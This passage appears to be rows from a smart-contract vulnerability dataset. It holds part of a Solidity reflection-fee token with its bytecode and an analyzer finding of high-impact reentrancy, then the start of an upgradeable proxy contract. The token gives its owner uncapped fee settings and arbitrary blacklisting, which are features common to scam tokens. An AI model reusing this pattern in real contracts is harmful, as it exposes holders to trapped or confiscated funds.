_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b6105c7565b005b34801561020a57600080fd5b50604080518082018252600681526520a822a627a760d11b6020820152905161023391906119f0565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a45565b610666565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a71565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab2565b6106e6565b34801561036757600080fd5b506101fc610376366004611adf565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab2565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611afa565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab2565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028c565b34801561045257600080fd5b506101fc610461366004611adf565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611afa565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b13565b610900565b3480156104c857600080fd5b5061025c6104d7366004611a45565b61093e565b3480156104e857600080fd5b5061025c6104f7366004611ab2565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b45565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611afa565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab2565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c02565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c63565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c02565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c02565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c02565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c02565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c37565b9050602002016020810190610a009190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c63565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c02565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611c96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160d828261148b565b82101561162957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116535760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b6006546117b590836116bd565b6006556007546117c590826116ff565b6007555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b60008261188057506000610677565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204e09710068166ea75eebbda1e7e2740e8f4b8762624b8dc4685e5dac36b88c1564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,129 |
0xa60cb5af1b7b529d42dcdd114c6ae5300250b1db
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
